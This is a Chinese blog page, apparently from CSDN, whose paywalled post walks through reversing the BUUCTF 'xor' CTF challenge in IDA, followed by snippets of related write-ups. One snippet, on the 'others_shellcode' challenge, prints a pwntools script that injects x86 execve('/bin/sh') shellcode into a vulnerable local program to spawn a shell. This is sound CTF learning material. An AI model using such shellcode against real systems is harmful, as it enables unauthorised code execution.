BUUCTF-Re-xor

最新推荐文章于 2024-12-11 16:15:53 发布
最新推荐文章于 2024-12-11 16:15:53 发布
阅读量3.7k 收藏 1
点赞数 1
分类专栏： 逆向 CTF C语言 文章标签： c语言 python 安全 后端
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/qq_51303140/article/details/124221556
版权

看题目简介能推断这道题与异或运算有关，先走一遍标准流程

查壳

在这里插入图片描述
无壳，放入IDA

IDA

F5查看伪代码，发现加密代码段

  for ( i = 1; i < 33; ++i )
    __b[i] ^= __b[i - 1];

就一个简单的异或运算，根据
在这里插入图片描述
易得 global 为加密后的字符串，于是进入查看 global 的值
在这里插入图片描述
tip: shift + E 可以直接得到数组的值，不用自己手动一个一个敲

之后只需要写一个简单的脚本就可以了

脚本

python：

tmp = [0x66, 0x0A, 0x6B, 0x0C, 0x77, 0x26, 0x4F, 0x2E, 0x40, 0x11
最低0.47元/天 解锁文章
BUUCTF-re xor，[BJDCTF 2nd]8086异或
weixin_45948183的博客
05-26 706
xor PE查看没有什么信息 ida里面看一下主函数 v6与global里面的字符相比较，相同的话成功得到flag 进入global看看 从main函数里面可以得到V6的处理方式为v6[i]等于v6[i]原来的值与v6[i-1]按位异或。 那我们获取flag就把global里面的字符反过来 写个脚本测试一下 str1 = ['f', 0x0A, 'k', 0x0C, 'w', '&', 'O', '.', '@', 0x11, 'x', 0x0D, 'Z', ';', 'U', 0x11, '
BUUCTF-RE XOR
OrientalGlass的博客
10-26 300
【代码】BUUCTF-RE XOR。
re题(1)BUUCTF-re xor
2301_80907001的博客
04-27 252
其中0Ah等等是十六进制整型数据，写脚本时要变成0x0A形式，再把整型变成字符型，然后让flag字符串第0位存放f，让s[i]与s[i-1]异或存放到flag中，最后得到flag。分析出_b是flag，让它与它的前一项异或，将异或后的字符串与global对比，一样的话输出success。点击aFKWOXZUPFVMDGH，可以看到存放的字符串，点击global，查看他存放的字符串。F5反编译，生成伪代码。
RE_xor
X10的博客
12-14 151
点击题目地址，把得到的文件送去见IDA爸爸，一个F5就得到了然后考验我们编程能力的时候到了， 在这里可以写一个c语言脚本用于解题 然后就能得到亲爱的flag了 ...
re-xor
weixin_44347836的博客
11-26 105
基础异或
BUUCTF_RE_刷题
2301_80273526的博客
03-21 700
进行对比如果两个值相同时就会输出Success（即该flag正确），因此global的值即为flag，双击global，会发现一串数据aFKWOXZUPFVMDGH,再shift+F12查找字符串发现一串明显不同的字符串，先怀疑这就是flag。根据异或运算特性经过两次异或运算后的值与其本身相同，也就是说将该数据再次进行异或运算即可得到flag，shift+e提取该数据csii码的值。双击最上方的字符串，发现该字符串很明显是通过运算获得的结果（其实这就是aFKWOXZUPFVMDGH的异或运算后的值）
简单的RE_xor
qq_73971557的博客
11-19 357
一道简单的RE_xor逆向异或题
buuctf_reverse_xor
小星星的博客
11-24 609
解压用ida打开第一个xor文件(因为第二个我打不开), 找到main函数 可见是对global字符串从第二位开始与前一位异或直到最后一位,找到global字符串并按步骤反过来就可以了, #include<stdio.h> int main(){ int ch[34]={0x66,0x0A,0x6B,0x0C,0x77,0x26,0x4F,0x2E,0x40,0x11,0x78,0x0D,0x5A,0x3B,0x55,0x11,0x70,0x19,0x46,0x1F,0x76,0x22,0
南邮 ctf xor
太菜了
02-25 1369
CG-CTF —RE xor 用IDA打开先看main函数，发现是几个fun和一个check，然后函数列表也就这几个自定义函数 先检查了check()， 发现return的success是正确的提示，看前面的是将input和v2比较，v2是copy的unk_100000ED0,打开这个数组会发现是 会发现隔四位有个十六进制的数，为啥分成4位，我也不清也是楚。，，，还是太菜 然后本来这道题就叫...
re学习笔记（1） BUUCTF-re xor
逆向随笔
10-28 2388
题目地址https://buuoj.cn/challenges#xor 用ida载入，寻找main函数，F5打开伪代码 双击进入global，查看其存放的数据 开始写python脚本~ 运行得到flag flag{QianQiuWanDai_YiTongJiangHu} 成功！ ...
记一次院赛CTF的Crypto和Re题（入门）
CTF小白的博客
04-14 7761
目录Cryptoeasy cryptobAcOn敌军密报Reeasy re跳到对的地方简单的XOR多密码表替换 Crypto easy crypto 首先，这个可以很容易的看出这是一个base64加密一串密文，然后用base64解密后是 可以看出这就是flag的格式，所以一般就是凯撒加密了，但是因为有花括号下划线之类的，所以是凯撒的一个变形rot13 bAcOn 这题是给了一个字符串baCo...
re学习（15）BUUCTF 2019红帽杯easyRe(寻找数据+xor问题)
m0_66039322的博客
07-13 545
虽然带有easy,但是并不是那么easy。CTF偏向于算法，实战偏向于程序逻辑，执行的流程。
BUUCTF RE xor
A_dmin的博客
06-05 2630
BUUCTF RE xor s = ['f',10,'k',12,'w&O.@',17,'x',13,'Z;U',17,'p',25,'F',31,'v"M#D',14,'g',6,'h',15,'G2O',0] ss = 'fkw&O.@xZ;UpFv"M#DghG2O' x = "f" a = [102, 10, 107, 12, 119, 38, 79, 46, 64...
BUUCTF re xor 1
qq_42921782的博客
12-11 319
逆向入门
CTF-REVERSE练习之算法分析2
ChuMeng1999的博客
11-29 1902
目录预备知识一、相关实验二、异或运算实验目的实验环境实验步骤一实验步骤二实验步骤三 预备知识 一、相关实验 本实验要求您已经认真学习和完成了《CTF REVERSE练习之算法分析1》。 二、异或运算 异或运算是一种数学运算，英文为Exclusive OR，常常缩写成XOR。异或运算针对二进制0和1而言，其数学符号为⊕，异或运算的法则如下： 0⊕0=0 1⊕0=1 0⊕1=1 1⊕1=0 除了二进制以外，异或运算可以扩展到任意数据类型。因为我们所接触的任何数据都可以使用二进制来表示，所以可以对二进制里面的所
[BUUCTF]REVERSE——xor
mcmuyanga的博客
10-29 515
xor 附件 步骤： 附件很小，直接用ida打开，根据检索得到的字符串，找到程序关键函数 程序很简单，一开始让我们输入一个长度为33的字符串给v6，然后v6从第二个字符开始与前一个字符做异或运算，得到的字符串与global比较，如果相同，我们输入的字符串就是flag 看一下global的值 global = [‘f’, 0x0A, ‘k’, 0x0C, ‘w’, ‘&’, ‘O’, ‘.’, ‘@’, 0x11, ‘x’, 0x0D, ‘Z’, ‘;’, ‘U’, 0x11, ‘p’, 0x19
HZNUCTFre题解
2301_80096119的博客
05-05 862
然后再黑框输入python pyinstxtractor.py +文件名.exe，回车运行，出现一个同名文件见夹再找同名文件，然后再用pycdc.exe。用pyc转成py就是如下，但是对于其中无法编译部分，需要对照字节码进行补全，将pyc文件转化为字节码需要使用pycdas工具。关于iv先看一下这个16*16的矩阵,看的题解说是初始向量IV是通过dijkstra算法求得的最短路径。这是一道python的反汇编题先下载文件发现是.exe。用pycdas转成字符码，就可以更清晰的看见具体过程了。
BUUCTF-others_shellcode
最新发布
03-26
### BUUCTF Others Shellcode 题目解题思路 BUUCTF中的`Others_Shellcode`是一道典型的PWN类题目，主要考察选手对于Shellcode编写以及Linux环境下的漏洞利用能力。以下是关于该题目的核心解题思路： #### 一、题目背景与目标 此题目提供了一个可执行程序文件，其功能是读取用户输入并尝试运行特定指令。然而，由于存在某些安全机制未启用（如NX位关闭），攻击者可以注入自定义的Shellcode来实现任意命令执行。 通过分析可知，目标是要构造一段能够绕过现有防护措施的有效载荷(shellcode)，最终达到获取flag的目的[^1]。 #### 二、具体技术细节解析 1. **逆向工程** 使用工具如Ghidra或者Radare2对给定二进制文件进行静态反汇编分析，确认入口点函数逻辑及其调用链路情况；同时也要注意查看是否有其他隐藏的功能模块被触发的可能性。 2. **确定ROP Gadget** 如果发现保护机制开启了部分控制流完整性验证，则可能需要用到Return-Oriented Programming (ROP) 技巧构建新的执行流程路径。这一步骤涉及查找合适的gadgets组合形成所需的系统调用序列。 3. **编写Shellcode** 基于上述准备好的信息，按照实际需求定制化设计payload内容。考虑到不同架构下寄存器分配规则差异等因素，在撰写过程中需格外小心处理字节顺序等问题以免引起错误行为发生。 4. **测试与调试** 利用QEMU模拟真实机器环境下多次试验调整直至成功完成挑战为止。期间还可以借助strace跟踪进程活动状况以便更好地理解整个交互过程的工作原理。 ```python from pwn import * context.arch = 'i386' shellcode = asm(''' xor eax, eax # 清零EAX 寄存器 push eax # 将 NULL 推入堆栈作为字符串终止符 # 此处创建 "/bin/sh\x00" 的一部分 push 0x68732f6e # hs/n push 0x69622f2f # ib// mov ebx, esp # EBX -> 参数1: 文件名指针 ("//bin/sh") cdq # EDX <- EAX 扩展成双字长形式 (清零EDX) # DX 是第二个参数，这里不需要设置任何东西 mov ecx, edx # ECX <- 第三个参数也是NULL mov al, 0xb # AL 设置为syscall编号 execve() int 0x80 # 发起中断请求操作系统服务 ''') p = process('./vuln') p.sendline(shellcode) log.success(f'Shellcode Sent! Waiting for shell...') p.interactive() ``` 以上脚本展示了如何生成适用于Intel x86体系结构的一个简单execve("/bin/sh", ...) 调用样例，并发送至服务器端等待响应。 --- ###
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值